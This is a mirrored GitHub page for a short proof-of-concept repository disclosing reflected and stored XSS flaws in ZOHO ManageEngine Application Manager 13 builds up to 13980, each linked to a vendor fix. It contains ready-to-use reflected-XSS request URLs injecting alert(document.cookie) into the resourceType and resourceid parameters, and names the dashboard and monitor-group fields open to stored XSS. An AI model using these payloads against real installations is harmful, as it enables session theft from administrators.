https://github.com/nasbench/manageengine-application-manager-xss-poc
ZOHO Manage Engine Application Manager - XSS POC
https://github.com/nasbench/manageengine-application-manager-xss-poc
Last synced: 5 months ago
JSON representation
ZOHO Manage Engine Application Manager - XSS POC
- Host: GitHub
- URL: https://github.com/nasbench/manageengine-application-manager-xss-poc
- Owner: nasbench
- Created: 2021-04-03T16:52:39.000Z (over 5 years ago)
- Default Branch: main
- Last Pushed: 2021-04-03T17:12:16.000Z (over 5 years ago)
- Last Synced: 2025-01-11T22:17:06.648Z (over 1 year ago)
- Size: 1000 Bytes
- Stars: 1
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# ManageEngine-Application-Manager-XSS-POC
ZOHO Manage Engine Application Manager - XSS POC
### Reflected XSS in ManageEngine Application Manager (13 Build 13970) and prior
```
https://@IP//showReports.do?actionMethod=generateGlanceReport&period=0&Report=true&resourceType=alert(document.cookie)
```
#### Fix Reference
* https://www.manageengine.com/products/applications_manager/issues.html#v13980
### Stored XSS in ManageEngine Application Manager (13 Build 13970) and prior
This version of Application Manager is vulnerable to a stored XSS via the "name" field in the "New Dashboard" and "New Business Dashboards" creation screens that'll be reflected in the "title" of the dashboards.
```
https://@IP/MyPage.do?method=viewDashBoard
```
It's also vulnerable to a stored XSS reflected in the "showapplication" page via the "name" and "description" fields when creating/modifying a monitor group.
#### Fix Reference
* https://www.manageengine.com/products/applications_manager/issues.html#v13980
### Reflected XSS in ManageEngine Application Manager (13 Build 13980) and prior
The "resourceid" parameter is not santized and is reflecting any code being sent.
```
http://@IP/showReports.do?actionMethod=generateMttrAvailablityReport&resourceid=alert(document.cookie)&period=0&Report=true&resourceType=Monitors
```
#### Fix Reference
* https://www.manageengine.com/products/applications_manager/issues.html#v13990